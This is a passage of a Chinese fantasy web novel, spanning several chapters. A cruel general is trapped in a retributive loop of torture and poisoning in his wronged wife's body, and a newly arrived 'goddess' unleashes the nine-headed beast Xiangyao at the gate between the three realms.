他几乎未经思考，便相信一个被关在深宅、连出门不不被允许的妇人，有着凭空联络外男的通天手段。 而他也几乎瞬间就相信，自己头上的确戴了一顶十来年的陈年绿帽。 这一刻，慕容寻脸色涨红，额上青筋直暴跳，原本还算得上儒雅的脸变得比野兽更为可怖。 他盯着跪在祠堂里的倪静如，怒指了指跪在一旁低头不语的程尚文，又指着倪静如的脸，一字一顿道：“你们这对不知廉耻的奸夫淫妇，如今还有什么话好说吗？！” 倪静如终于抬眼看他。 “你想要我说什么？” 这一瞬间，慕容寻脑中倏尔又闪过了他踏入镇国公府大门时、踏入祠堂时那微妙的恐惧感和危险感。 恍惚间，他像是又听到了心中囚笼内那不知名生物的嘶吼和尖叫： 【不要！不行！】 【谁能来救救我？】 【救救我！谁来救我啊！！】 可是，就像是以往的每一次那样，那微妙的危险预兆消失了，那绝望的哀嚎也融化了。 它们什么都没有留下。 于是，慕容寻也什么都没有察觉。 他指着“冥顽不灵”“不知廉耻”“死不悔改”“死猪不怕开水烫”的倪静如，怒极反笑： “好，好，好！你就这样笃定了我慕容寻拿你没办法是不是？你就认定了我慕容家为了家族的体面，一定会吃下这个闷亏是不是？ “还是你觉得，事情到了这个地步，除了让你一死了之，我慕容家便拿你没有办法了？我告诉你倪静如，你做梦！ “沉塘溺亡？乱棍打死？不，这些都太便宜了你们这两个奸夫□□，我发誓，我必要让你们这辈子都后悔惹怒了我慕容寻！” 慕容寻沉声吐气，大声喝道：“来人！” “是！” 明明人影憧憧却又显得异样空荡的祠堂里，突然有两队不知守在哪儿的侍卫蓦然出现，鱼贯而入。 慕容寻容色冷酷，道：“把这对夜闯我书房、意图盗取我朝军事机密的细作押去皇城司，让他们好好调教调教这两个伪装成我朝子民的细作，务必要让他们吐出实话！” “是！” ——嗡！ 随着这些侍卫们的应声，慕容寻突然头一晕，脑袋一懵，耳畔骤然响起了巨大的耳鸣声。 慕容寻只觉得一阵天旋地转，头晕欲呕，身上的力气不知被什么力量一丝一丝抽走，让他以肉眼可见的速度变得虚弱起来。 而与此同时，他的心脏也越跳越快，越来越响，以致于他竟然能清晰听到血液在体内奔涌的声音，就好像是下一秒那心脏和血液就要从嘴巴里跳出来，就好像是下一秒他就要猝死当场！ 他不由得用力闭了闭眼，想要以此缓解自己此刻如死亡般的虚弱。 但，就是他紧闭双眼的这一秒时间，不知道为什么，慕容寻突然感觉自己身上突然哪哪儿都不太对劲了起来。 他首先感到的，是虚弱。 慕容寻虽功成名就后，便养尊处优了起来，但他到底是武将出身，所以他哪怕已过而立之年，身体也一直称得上勇猛精壮。 可此时，不知为何，他感到一股难以言喻的虚弱感袭来，像是孱弱的蚂蚁套了大象的躯壳，以致于他呼吸都变得艰难起来，进的气还没有出的气多。 这样的虚弱感，令他下意识联想到了死亡，联想到了自己幼时连肚子都填不饱时颠沛流离的恐惧，还想到了那些在鞭子抽打下扛着巨石连脑袋都瞧不见的徭夫。 可是——这怎么可能呢？ 他如今明明是大将军啊！ 可很快的，没等慕容寻想通，他又感到了痛。 一种从内到外、从手到脚，从头到骨，没有一处安生的痛。 甚至慕容寻恍惚觉得，就连他的骨头缝里，都有着针扎般绵延不绝的刺痛。 好痛啊！ 好苦啊！ 一个人怎么能这样痛、这样苦？！ 慕容寻慌张了起来。 他挣扎着睁开了眼，想要看看到底发生了什么，想要知道这样的痛到底从何而来。 可他只看到了黑漆漆的暗室里，如豆的烛火摇曳，映照出数个造型狰狞的刑具，以照找出了刑具上那些让人不敢细想的血色碎块。 这是…… 这个暗室是……皇城司专门用来审讯犯人的刑房？ 是他上一秒让镇国公府里侍卫把那对奸夫淫妇丢过来的刑房？ 是的，应该就是这里了。 可、可他怎么会在这种地方？！ 没等慕容寻想明白，下一秒，他听到了一个平淡的声音。 “……哦，醒了啊，看来是不用泼水了。” 慕容寻心中咯噔一下，脑中警钟狂响，不好的预感疯狂涌上。 而下一秒，让他亡魂大冒的内容果然响起： “没想到你这小娘皮的嘴还挺严，上了小夹竟也什么都不肯说，既然小夹对你没用，那就直接上大夹吧！” 慕容寻心脏狂跳，恐惧低头，果然看到自己的手指被数根用绳索串着的圆木棍夹得鲜血淋漓！ 可怕的剧痛在他看清自己手指的瞬间疯狂涌出，让他几乎立即就这样昏了过去。 但他却又不敢晕，因为倘若只是小夹夹指，还只是让人苦痛不堪、恨不得立即去死了刑罚，大夹却是不死也会致残的绝对酷刑！ ——这是哪里的酷吏，怎能在没有官员的批准下随意对他人使用这等酷刑？！ 更何况他慕容寻可是大将军！ 此獠为何如此大胆，竟敢把他堂堂大将军抓来受刑？！ 慕容寻再也忍不了了，立即高声道：“我乃堂堂大将军慕容寻，尔等鼠辈狗眼不识泰山，怎敢——啊！！” 那逼供的酷吏懒得理会，直接就对慕容寻动了刑。 所谓的大夹，又叫夹棍，是在脚上施加的一种刑具。 使用夹棍时，会先将棍直立起来，将犯人的双脚放在中间，用两根木棍夹住两侧，不给犯人躲避的机会，接着再用长七尺宽四寸的硬木杠猛敲犯人足胫。 不用一百下，犯人的骨头便直接碎了。 这种被一点点砸碎骨头的痛，可以让绝大部分受刑的犯人痛得涕泪横流，死去活来。 无论施刑者想要知道什么，他都必然会一股脑地倒出来，无论施刑者想要让他认什么罪，他都必然会第一时间画押，只求速死。 所以，别看这所谓的夹棍之刑听上去平平无奇，但却是实打实的一种酷刑，是要得到官员的切实允许后才能使用的刑罚。 可如今，这样的酷刑却被直接用在了慕容寻的身上，让这位威武不能屈的大将军死去活来，活来死去，实打实地体验了一把屈打成招的犯人的感受。 哪怕半路上，慕容寻就明白，这些瞎眼的酷吏不知道为何把他错认成了疯妇倪静如，这才按照他的吩咐，对自己上了这样多的酷刑； 虽然早早的，慕容寻就听到这些酷吏们交谈，说隔壁牢房的那个“男细作”被镇国公府的人早早提了回去，说是带错了人； 虽然偶尔的，镇国公府里老太君和如夫人也派人来过两次，但不容他与她们有更多交谈，那些贱人们便在笔尖挥着帕子，嫌弃地离开了…… 但这一切的一切，慕容寻全都顾不上了！ 最后，大将军慕容寻，几乎是如蒙大赦地在一张自己看都没看的认罪书上按下手印，几乎是喜极而泣地被狱卒从暗室拖死狗一样地丢进牢房。 可这又有什么关系呢？ 能从那暗室里活着逃出来，便是谢天谢地的事了！ 只要活着，那就有未来，有机会。 只要能给他机会，他慕容寻是必定会像曾经那样东山再起。 这是毋庸置疑的！ 可是，也正是在这一天晚上，他柔柔弱弱的如夫人乔玉卿，带着餐盒而来，用一杯毒酒，温温柔柔地送走了他。 ——这是慕容寻完全没有想到的事。 是他穷尽想象、想破脑袋都没想过会发生的事！ 因此，他毫无警惕地吃下了乔玉卿送来的吃食，喝下了乔玉卿送来的毒酒。 他当然看到了乔玉卿眼中的异色，但他不以为意，只觉得乔玉卿是惊讶于“倪静如”的友善。 他当然知道乔玉卿来见他是带着自己的心思和隐约敌意，但他毫不在意，只觉得乔玉卿这样养在深闺里的娇花哪怕有敌意也不会对他造成任何威胁。 他甚至还在心里打着腹稿，想着要怎样获取乔玉卿的信任和帮助。 他甚至还觉得，乔玉卿的到来必定是他夺回自己身份、破解自身妖术的一大助力！ 可是，可是…… 可是—— 为何她竟会对他下毒？ “为什么？！！” 慕容寻不甘地问了出来。 乔玉卿轻笑一声，根本就懒得理会地上的人。 “我本以为你已经够愚蠢了，这才会轻而易举被我取代，没想到你不仅愚蠢，甚至天真——在你的那位前未婚夫都配合我来污蔑你后，你竟然还没有半点反省、半点警惕，连我带来的东西都敢吃？ “唉，真是让妹妹我不知道该说什么才好……既然不知道该说什么，那且先对你道一句‘谢谢’吧。待姐姐你去了地狱后，妹妹我会为你在寺庙点上一盏灯，补偿你的天真愚蠢，望你下辈子，莫要再这般愚蠢又倒霉了。 “要知道，这世道，一个漂亮女人如果不够完美的同时还不够聪明的话，她唯有一死而已。 “倪静如，你且好好上路吧！” 慕容寻目眦尽裂：“你、你、你——” 慕容寻用力向乔玉卿的背影伸出手，挣扎着、却又无能为力地死去了。 死在了在无尽的憋屈、不甘、暴怒和疯狂之中。 而在这之后，慕容寻本以为这就是自己地结局，本以为自己死后会在牛头马面的押送下走过奈何桥，去往阎罗殿，并打定了主意要向阎王状告乔玉卿那毒妇，并恳求阎王让他下辈子能与他可怜的老妻再续前缘，好补偿他这一世对她的亏欠愧疚。 可是，下一秒，恍恍惚惚间，他抬起头，却看到了一个熟悉的大门，熟悉的匾额。 那匾额上赫然写着： 镇国公府！ 这一瞬间，慕容寻悚然惊醒。 他骇然看着“自己”迈步，走进镇国公府鬼气森森的大门，走过那杂草丛生的小路，在鬼影憧憧的祠堂面前站定。 此刻，祠堂里站着的，是一具具枯骨撑着烂肉的腐烂尸，形状骇人至极。 可偏偏“自己”却如同睁眼瞎，竟径直上前，同那具腐尸作揖，口称“祖母”！ 【怎么会这样，怎么会这样？！】 慕容寻大喊大叫，慕容寻恐惧绝叫。 因为他已然明白自己身上发生了什么。 因为他已经看到“自己”身上将要发生什么！ 可偏偏他的声音半点也传不出去，更不可能让“自己”听到。 于是，他只能眼睁睁地看着“自己”怒斥倪静如和程尚文为奸夫淫妇，眼睁睁看着自己冷酷一笑，眉头一挑，似是想到了一个折磨人的好主意。 【不要！不要！】 【快停下！蠢货，快停下啊！】 慕容寻这一刻恐惧地几乎魂魄都在战栗。 他疯狂大叫了起来。 【我知道错了，我真的知道错了！】 【我不该相信乔玉卿那个毒妇低级的陷害，我不该看不到小妹对静如的针对，我不该不知道祖母对静如的刁难，更不该不相信静如的清白，还想要借此机会除掉静如！】 【一切都是我的错！是我见异思迁，是我移情别恋，是我推波助澜，是我不分好歹，是我心有恶念，所以我受到了如此惩戒！】 他如此痛悔，如此绝望。 【可是我知道错了啊！】 【放过我吧，求求你，放过我吧，我真的知道错了啊！】 可没有人回应他。 【救救我啊！谁能来救我啊！！】 更没有人来救他。 在这个无穷无尽的世界里，唯有他自己的声音，一次又一次、一遍又一遍、一轮又一轮地响起： “把这对夜闯我书房、意图盗取我朝军事机密的细作押去皇城司，让他们好好调教调教这两个伪装成我朝子民的细作，务必要让他们吐出实话！” 【——啊！！！】 第129章 水魔兽？ 这所谓的“水魔…… “杀了他们，一个不留。” 几乎就在倪静如对初阳发出这声命令的瞬间，颜辞云便惊讶发现，自己失去了这位任务者的视野。 没有了声音，也没有了视线，像是被一片灰蒙蒙的雾笼罩。 但，颜辞云却也没有与任务者彻底失去联系。 因为颜辞云试了一下，发现自己依然能够以“倪静如”的身份打开她的系统商城。 “咦？” 奇怪。 既然不是失去了联系，那为什么再看不到任务者那边的事了？ 有那么一瞬间，在强烈好奇心的驱动下，颜辞云几乎想要亲自跑去倪静如所在的镇国公府，亲眼瞧瞧那镇国公府里到底发生了什么。 可倪静如那边重要，李寻真这边也重要呀！ 这不仅是因为李寻真这边的剧情特殊，涉及到所谓的“救世神女”，让颜辞云心中敲响警铃；也不仅是因为李寻真这位任务者给颜辞云一种特殊感觉，让颜辞云预感自己跟着她走的话，说不定能找到“系统”的更多线索。 更重要的是，李寻真如今使用的身体，是颜辞云用【改造】技能捏出的第一个成品。 颜辞云还想要再多多观察一下自己的作品，记录缺点、查漏补缺，好为下次捏人做准备呢！ 她怎么能轻易离开？ 于是，颜辞云只能遗憾地将倪静如那边的剧情暂时放置，一心一意地追起了李寻真直播的《穿越后我的毒妇人生》。 时不时，颜辞云还会收到元德那边传来的消息，翻阅一下第三位任务者精彩的《我死遁后，大佬们后悔莫及》的人生。 最后，最平静的，反倒是颜辞云最初认为可能会最危险的青阳那边。 据青阳所说，他负责监视的神之部族那边，虽然共工和颛顼两方依然剑拔弩张，每天都在爆发着小型冲突和遭遇战，让附近的人也好“神”也好，都有惶惶不安之感。 可据青阳的观察，这样的冲突如果没有某个特殊事件作为契机、引爆局势的话，这两方大概只会一直维持现状，大战应该是不太可能的。 毕竟，共工也好颛顼也好，他们虽然代表着两个不同的利益集团，但到底属于同一个部族，不可能做得太过。 ——在看到青阳的“如果没有……应该不会……”这样的造句后，颜辞云心里就一个咯噔。 坏了，立Flag了这是。 青阳越是说“两方虽争夺帝位，但争执有度，爆发大战的可能性不高”，颜辞云就越觉得肯定会有某个契机在某个关键时刻出现，将局势瞬间引爆。 不过，这个契机会是什么呢？ 老天帝的死？ 嗐，老天帝早死了。 神之部族在近一百年里，一直都是“共治”状态，直到近些年，神之部族里开始渐渐有人提出部族还是需要一个说一不二的领导人、一位天帝。 于是，“天帝之位”才重新回到众人视线，成为争夺焦点。 但可想而知，假若共工和颛顼争得太过，他们必然会失去他们各自代表的利益集团的支持与人心，甚至被直接踢出天帝候选人的位置。 所以，哪怕是为了守住自己当前的一切，这两人也应该是不会爆发大战。 青阳的猜想合情合理。 而至于颜辞云的猜想，则完全是“我寻思”了。 总而言之，神之部族那边的事，介于稳定和不稳定之间，暂时不必颜辞云太过操心。 而第三位任务者混沌金莲，每天都在搞修罗场，那些情啊爱啊的，让颜辞云既没有太大兴趣，也捉不住什么重点。 就像是看惯了剧情流的读者骤然去看感情流，如果要让她为这篇恨海情天的恋爱小说分析一下节奏、划一下阶段、抓一下重点，那她完全是一抹黑的。 行了，跳过跳过。 等那些男人什么时候真的打起来了再说吧。 把混沌金莲那边的追更也暂时放下后，当前需要颜辞云留意的，便也只剩下李寻真亲自书写的《穿越后我的毒妇人生》了。 说实话，在李寻真直接干掉原女主宋茵茵，逼迫魔帝废了深情男配帝昭，把仙帝谢承这个随时有可能爆炸的原男主留在手边当狗，还在魔族族地大杀特杀，杀得魔族人头滚滚后，颜辞云心里既是为李寻真的“真情实感”担忧，同时也好奇在做到这一地步后，这位任务者还能玩出什么花样来。 是安分下来好好享受她属于“神女”和“人上人”的一切吗？ 或许如此。 毕竟，这位任务者许下的愿望，就是成为救世神女、成为所有人都跪地拜伏的人上人，拥有即便作恶也有受害者主动为她开脱讨好的特权。 权力迷人眼。 当享受过世界所有的门都为你而开、世上所有的声音都为你喝彩的迷人权力后，常人是很难轻易摆脱那种比嗑药还要上瘾的飘飘然的。 不过，也不排除有人天性对这种事无感，体验过权力后便飞速厌倦这一切，而后坚定选择了仇恨，选择报复这个曾对自己残酷以待的世界。 可如果，李寻真真的要对“世界”这样庞大的概念出手的话，哪怕是颜辞云给她捏的这具新身体，应该也会力有不逮吧？ 更何况，李寻真如今得到的这份超凡地位，全都是因为众人以为她是“救世神女”，是因为众人盼望她能在预言的末日浩劫到来时，能打败水魔兽，拯救天下万人。 可如果在浩劫到来前，“神女”就率先对世界下手的话，那么即便是此刻乖顺得像狗一样的仙帝和魔帝，也必然会暴起，和她好好算一算这段时间的总账吧？ 在颜辞云好奇的观察种，任务者接下来的神操作，也果然没有让她失望。 一个月时间飞快过去，当天地人三界的界门开启，魔族也终于把水牢中奄奄一息的帝昭提出来，按照约定丢进鬼哭血池，让帝昭永生永世都要受到罡风侵蚀和百鬼抓心之苦。 至此，李寻真在魔族的旅程就算是告一段落了。 而接下来，李寻真又马不停蹄地杀上了仙界。 在仙界，神女身份被错认的事，已经随着仙帝谢承的传讯而早早传开了。 只不过这时候的仙界众人还不太相信。 毕竟，仙界将秦如霜奉为神女已经很多年了，这种“秦如霜=神女”的惯性想法哪里是那么容易被改变的？ 所以，哪怕传讯告知众仙神女被认错的是仙帝谢承，众仙却也是将信将疑，依然将秦如霜当作神女侍奉着，只等界门开启，仙帝谢承回到仙界，正式向众仙宣告神女的真正名字。 而在仙界众仙中，反倒是“神女”秦如霜第一个相信了谢承找到了真神女。 毕竟，她是不是神女，别人不知道，她秦如霜还不知道么？ 可秦如霜是万万不会承认，也绝不会后退、将“神女”之名让给任何人的。 是，她所有的一切都是假的，全都是靠着算计、阴谋诡计和残酷掠夺上位的。 她手上的鲜血和冤魂不计其数，与其说她是救世的神女，不如说她是灭世的魔女！ 可是，这又如何？ 这跟她要把“神女”之名攥在手里、站在天上受万人崇敬这件事有什么冲突吗？ 她就是要当神女！ 哪怕她是个假的，但只要所有人都认为她是神女，那她和真的又有什么区别？ 为了成为神女，她已把自己所有的东西都兑成筹码，推上赌桌，早已经无路可退了。 所以她一定要成为神女——只有她秦如霜，才会是、才能是唯一的神女！ 为此，在谢承传讯仙界众仙，到界门开启的这一个月里，秦如霜在仙界筹备良多，暗地里做了许许多多的准备。 如果说之前陷害原女主宋茵茵，她只下了七八分的功夫，属于“看你那么蠢，不陷害一下你简直对不起我自己”的话，那么在对付李寻真这个即将到来的神女时，秦如霜绝对是下了一百二十分的功夫！ 她花了一番时间，拜访了仙界的其它几位仙帝，投其所好，提高了自己在这几位仙帝心中的印象分。 没有在这几位仙帝这边做更多，不是因为秦如霜做不了更多，而是因为在这种敏感时期不适合过分上蹿下跳，会给人此地无银三百两的感觉，让众仙反而真正怀疑起她的身份来。 反正，她秦如霜前期在当神女时，也是做了好一番印象的积累的，如今，她只要再稍稍加深一下这样的好印象，让这几位仙帝不至于在另一位“神女”出现的瞬间就倒戈，便算是达成目的了。 而她真正要花大精力长时间、下大功夫大筹码来联系的，其实是组成这个天庭的中坚力量——那些天兵天将、神妃仙子、妖族万鬼*。 她要得到这些力量的支持，成为所有仙神妖鬼心中唯一的神女！ 这样一来，一个月后，当界门开启时，哪怕仙帝谢承带回了真正的救世神女，并向天地众生宣告真神女的归位，但这个神女也不会得到任何人的承认。 ——一个谁都不承认的“神女”，还能算是神女吗？ 当然不算！ 那仙帝谢承，也不过是天庭五大仙帝之一罢了，而天庭，可不是某一个仙帝的一言堂！ 哪怕是仙帝，也要听听众仙、百妖与万鬼的声音吧？也要在意他管辖之下的那些仙子妖族的意见吧？ 小国公主出身的秦如霜，对这样的政治斗争实在是熟悉极了，轻轻松松就联络上了头脑简单的妖族与万鬼众，暗地里得到了他们之中绝大部分的支持。 至此，这番准备才算是告一段落，秦如霜一扫之前骤然听闻“神女身份出错”了的慌张，近乎踌躇满志地等待仙帝谢承和新神女的到来。 那么，对于这一切，仙帝谢承和“神女”李寻真又知不知道呢？ 前者知不知道很难说，但李寻真，却是早早就得知了这个消息的。 没办法，与秦如霜合作的，除了还算有城府的仙人外，便都是些头脑简单的妖族和万鬼众了，而头脑简单，不仅代表着容易被收买被利用，还代表着不容易守住秘密。 这不，某些既没有与秦如霜达成合作，又听闻了这件事的妖族众，便带着这个消息，来投奔李寻真这位即将上任的新神女了。 而新神女的应对，也很是干脆—— 在界门大开、登上天庭的那一天，李寻真二话不说，直接把预言中会造成灭世浩劫水魔兽给放了出来！ 但，这所谓的“水魔兽”又是谁？ 答曰：相繇。 颜辞云：“啊？！” 不是，那个，关键是，主要说…… 啊？！ 第130章 末日？ 所有人都觉得天塌…… 颜辞云万万没想到，那只小相繇在从大世界的石原监狱里逃脱后，不但跑进了这方小世界，被共工驱使，跟着这位“水神”兴风作浪，参与了神之部族的帝位争夺，逼得凤族迁出凤凰林。 如今，它更是亲身上阵，成为了这个仙侠虐恋故事里毁天灭地的水魔兽？！ 不是，水魔兽？ 相繇？ 水魔兽？！ 颜辞云哪怕猜过共工，都没想过相繇啊！ 就是说，相繇这家伙的活跃度和参与度是不是有点太高了？ 那么，这相繇又是怎么跟李寻真联系上的呢？他们是否达成了合作？如果达成了，会是什么合作？ 可是，从更实际一点的角度来说，那个脑袋空空、只会依靠原始本能毁灭周边一切的凶兽相繇，真的有与什么人达成合作的可能吗？ 这一切，还要从相繇逃出石原监狱说起。 就和颜辞云事后的推测一样，相繇的确是趁着颜辞云本体离开金丘、处理鲛人族事务的时机，偷偷越狱，游过大海，登陆台州，后又意外穿越台州的时空裂隙，来到这方小世界的。 刚到这方小世界时，相繇可谓是鱼入大海，无论是它庞然无匹的九头蛇躯，还是它吐水成泽的力量，都在这方小世界里掀起了好一阵风波！ 没办法，虽然对颜辞云而言，相繇只是一只小卡拉米，连当宠物养的价值都没有，可对这方小世界的“神”和“人”而言，它的到来无疑是一场巨大灾难。 因此，为了解决这场巨大灾难，曾经有数个凡人国度组成了军队去讨伐它。 但还没见到相繇，就在相繇最外围的毒沼泽处折戟沉沙。 紧接着，这些凡人国度的国君们又请了一些仙人道长们来解决它。 可这些仙人道长们很快发现，这可恶的九头蛇的鳞片坚硬无比，难以破开，而在好不容易破开防御、伤害到了它的血肉后，从它身上流淌出来的血液竟然也有剧毒！ 那群被邀请而来的仙人道长们，说来也是倒霉。 他们本以为，这次讨伐只是一场为凡人消灾解难的例行活动而已。哪怕讨伐的环境恶劣了点、讨伐的对象鳞片坚硬了点，但都还好，不是什么太大问题。 ——这恶兽有坚皮，他们这些修士难道就没有利器么？ 可万万没想到，真正的杀机，竟是从他们的利器破开凶兽的坚皮开始的！ 当那些血液流淌出来，在空气中蒸发后，那些剧毒也随之挥发，令这片本来就已经难以生存的毒沼泽国，变成了一片十死无生的绝地！ 仙人道长们只是稍稍靠近了些相繇，便立即感到头晕目眩，恶心欲吐，就像是被弓箭射落的鸟儿一样，一个接一个地从天上掉落，摔入地上的毒水泽国里。 好运点修为高点的，还能囫囵着挣扎出一个完整的人形，驾云向外奔逃。 运气差点修为低点的，则是当场化作脓水，连骨头都被毒水沼气侵蚀得千疮百孔，化作残渣！ 这样的一幕，何其骇人？ 因此，在从这片绝地狼狈脱逃后，这些个险死还生的仙人道长们再不提讨伐相繇的事，匆匆离开，只当自己从未来过。 最后，还是神之部族的水神共工路经此地，对这九头蛇生出兴趣来，独身深入这片毒水沼国一天一夜后，把它全须全尾地带了出来，并宣告： 从此以后，这只九头蛇就是他共工的部下了！ 这样的决定，无疑是石破天惊，在那片地域掀起了轩然大波。 可更多人好奇的是，水神共工到底是如何做到这件事的呢？ 那样多仙人道长、修士大能，都在相繇处折戟沉沙，这位水神共工又是如何收服相繇的？ 答案很简单：诱惑。 既然是兽，那就可以被食物诱惑，也可以被食物驯服。 而如果这只兽还很聪明，那么对狡猾之人而言，它反而更容易被驯服了。 因此，共工还没耍出多少花样，这头乡下来的凶兽就被轻易勾走了。 没办法，自诞生来，这头小兽就一直在被它的造物主丢在石原监狱关禁闭。 与它为伴的，不是石头与毒沼泽，就是蠢死了的年兽，以及蠢死了的三头犬，哪里有吃好吃东西的机会？ 它不服气，它心里苦啊！ 而哪怕是在相繇越狱来到这方小世界后，那些对它喊打喊杀的食物们也不太好吃。 要么，是在它的毒水泽国里化作了脓水，舔都舔不出味儿来，而勉强保留了人形的，也是又生又咯牙，还会满地逃跑，吃起来一点都不爽快。 这些玩意儿，哪里有共工针对性提供的食物量大味好？ 更何况，共工还向它承诺，不会过多约束它的行动，甚至会主动给它提供撒欢和活动的空间。 因此，相繇只思考了三秒，就觉得这事儿不错，欣然应下。 从这一点来说，相繇也不是真的无法沟通，只是单纯无法跟颜辞云这种会约束它活动、制止它行为的烦人造物主沟通而已。 ——本蛇想干什么干什么，凭什么要被你管？呸呸呸！ 总而言之，从此以后，相繇就成为了共工手下最忠实的部属，最可怖的凶兽。 不过，既然这头凶兽已经欣然投入共工的麾下，之后的它又是怎样同李寻真有了联系的？ 这还要从秦如霜联络妖族和万鬼的行动说起。 为了抵制李寻真这个真神女的到来，也为了让李寻真这位神女永远名不正言不顺、没法归位，秦如霜决定用政治的力量抵制对方，让李寻真还没上台就要下台。 可能有些人会想，在一个以实力说话的地方，政治力量真的有用吗？ 事实上，如果不混体制不要名声，更不怕自己活成一个孤家寡人的话，政治力量的确无法制衡一个强者的肆意妄为。 但假若这个强者还是想要在天庭里混，想要成为德高望重的老前辈，受徒子徒孙的孝敬和供奉，舒舒服服富贵荣华地过完下半生的话，那这位强者就不得不受到那些瞧不起的人的“制约”了。 资本家真正的财富是穷人。 仙人真正的财富是凡人。 如果没有穷人，资本家的富贵由谁创造？他们的格调由谁鼓掌？他们的装逼由谁衬托？ 而如果没有凡人，仙人的力量又从何显现？他们需要的财侣法地又由谁去维系？ 如果没有凡人的崇拜，没有凡人的托举，仙人也不过是荒野求生的野人罢了！ 所以，是的，哪怕是一名力量强大的仙人，假若他还想要在天庭这个体制内混、想要受到这个体制的庇护、共享这个体制的荣光，并让这个体制长久维系下去，那他就绝对不可能逃脱政治的旋涡、不可能逃离名声的约束与牵绊。 而巧了不是，秦如霜就擅长搞政治。 一般来说，搞政治的人往往会两级分化，要么是以为全世界的人都是蠢货，是可以被轻易操纵的人机，要么就是不敢小看天下人，认为世上的聪明人多如过江之鲫。 秦如霜就是后者。 所以她聪明并谨慎，与人为恶又步步为营。 所以以己度人的她浑然不知，一些人虽坏，却是又蠢又坏。 而偏偏蠢人的灵机一动，又往往胜过坏人的绞尽脑汁！ 这不，秦如霜前脚联系好了60%以上的妖族族长、鬼王鬼将，约定好共同抵制新神女的上位。 后脚，就有蠢人灵机一动，向鬼王献计。 “鬼王大人，你不觉得那些道貌岸然的家伙，连为恶都做得低劣畏缩、束手束脚，太过难看了吗？” 鬼王道：“你想说什么？” 鬼将回道：“小的想说，只是在那新神女上位的那一天将界门附近的村落城镇屠尽，给那新神女营造出一个恶灵降世的名声，真的能阻碍那个神女的上位吗？ “更何况，妖族那一边的动静，也不靠谱。据小的探知到的消息，妖族那边大概负责给这位秦神女打造好名声，会打造出一个类似于预言中水魔兽的怪物，来让这位秦神女当众降伏，以此做出对照来…… “可鬼王大人，您想一想，以那位秦神女的能力，她真的有能力降伏真正可怕的妖兽吗？而如果这只妖兽的能力不足，她所谓的‘降伏’又有什么说服力？别最后我们万鬼众出兵出力，那位秦神女却掉了链子，功败垂成，所谓的许诺和好处也成了一场空！” 鬼王：“哦？你的意思是？” 鬼将：“为什么我们不将计就计，放出真正可怖的妖兽，将新旧两位神女全都一网打尽？这样一来，天庭必然震动惶恐，再次陷入寻找神女的轮回里，而我们万鬼众，则能乘此时机，反攻天庭！ “那些旧神女许诺给我们的算什么？倒不如我们自己去拿！” 鬼王沉吟片刻，拍案叫好，通过了这个暗度陈仓的计划。 但鬼王忘了，它手下的这群鬼兵鬼将虽然挂了“兵”和“将”的名字，却不是真正令行禁止、管理森严的军队。 因此，这儿的消息也和筛子一样，是漏风的。 这不，前脚，万鬼众决定反水搞事，后脚，它们的决定就走漏了消息，分别递到了每个该知道这个消息的人手上。 比如说秦如霜，比如说制造“伪·水魔兽”的妖族族长，比如说李寻真。 秦如霜看得不知该气该笑，最后决定再不跟这些成事不足败事有余的东西们联络了。 还好，她与万鬼众的联络本就没有让任何人瞧见，也没有留下任何把柄，事后只要咬死这些恶鬼是污蔑陷害她的就够了。 而之后，秦如霜又把制造“伪·水魔兽”的计划改了，决定随便搞个什么妖兽出来让她当众降伏、刷刷声望就足矣。 可秦如霜没想到的是，她的这个决定，同样被泄露了出去。 是妖族泄露的。 泄露的对象，是新神女李寻真。 李寻真看着这些消息，看着这个毫无自觉在草台班子上狂喜乱舞的角儿们，笑了一声。 “既然你们大家都有各自的‘谋划’，不如也让我来掺和一下？” 李寻真按照自己混迹人间时的记忆，找到了神之部族，并一眼看到了这方小世界里当之无愧的第一凶兽，相繇。 这一刻，她抚掌大笑。 于是，一个月后，三界界门正式开启的那一天。 当鬼将鬼王们傻眼发现，从它们开启的通道里钻出来的“妖兽”，竟是赫赫有名的相繇时； 当早有准备的天兵天将们发现，他们将要负责“剿灭”的，竟是那只吞食了无数仙人道长的凶兽时； 当秦如霜明明改变了决定，不搞高难度挑战，却还是正面撞上了相繇时—— 所有人都觉得天塌了！ 该死，是相繇！ 该死，是世界末日！ ——怎么世界末日还真来了啊？！！ 130-140 第131章 真相（一） 【是的，我在…… 当相繇借着万鬼众打通的道路自界门处现身后，这处连接天、地、人三界的重要之地，便陷入了可怕的混乱之中。 尖叫声，惨叫声，狂叫声。 当这群高高在上的仙人们亲身面对相繇这种他们个人之力难以抵御的力量时、陷入生死抉择的绝境里时，他们的表现似乎也没有比他们瞧不上的凡人要好上更多。 当然，在相繇出现的第一时间，也还是有一些仙人有着临危不惧的坚韧心性，想要在这样的时刻组织起人手抵御相繇的。 可这片战场太大太大了，而那些从相繇口中喷吐出的毒水，更是让一众仙人们难以处理！ 它们汹涌如山洪，却又带着能消融血肉皮骨的剧毒，触之即伤，浸之则死，只一个照面，就令天兵天将和妖族鬼众死伤大半！ 而剩下的那些好运的仙人们，自然也是被这样的一幕吓得四散奔逃，哪里还有余力组织起有效反击？ 因此，那些本就勉力自保的仙人妖族和鬼将们，见此情景，只能先保护着自己这方的重要人员先行撤退。 “走，小的们跟大王撤！” “风紧扯呼！” “快快，快去禀告各方仙帝，相繇现身，界门大乱！” “师尊，我们当真要这样走了？就把相繇放在界门这里？这儿可是界门啊！” “你我不走还能如何？相繇之灾，哪里是你我能够抵御的？只能等待仙帝来处理它了……行了，休要多言，快走快走！” “……” 界门处一片混乱尖叫。 按理来说，此时此刻，仙帝谢承便是脚程再慢，也该携着真正的神女李寻真离开了魔族、抵达界门处，恰好撞上这场灾难，并及时伸出援手，平息了此地的相繇之乱。 可偏偏，无论仙帝谢承也好，还是新神女李寻真也好，他们都迟迟不来。 发生了什么？ 很简单——虐文男主那可绕地球三百圈的脑回路，终于开始发威了。 仙帝谢承，在原女主宋茵茵死了一个月后，才终于恍然发现，那个会对他嘘寒问暖、会跟在他身后像小尾巴一样的可爱徒儿，原来真的被他彻底杀死了。 再没有让他惊喜的假死复活，也再不会于某一天突然现身，向他发脾气说“你为什么不来找我，你是不是心里没我”，更不会从很远很远的地方跑回来，大发慈悲地说“好吧师父，这次是我原谅你了”。 宋茵茵，这个他悉心呵护、耐心教导了百年的徒儿，他最爱的人，原来真的被他彻彻底底杀死了。 ——她再也不会回来了！ 当清楚意识到这件事的时候，谢承眼前一黑，竟有一瞬间的昏厥。 而下一瞬间，当他强悍的仙人之体迫使他清醒过来后，他心中悲悸欲绝，并且—— 就如同颜辞云猜测的那样，走上了虐文男主黑化的第三条道路。 即，一边为女主的死亡后悔莫及，一边把所有的责任推卸给了旁人，准备大杀特杀！ 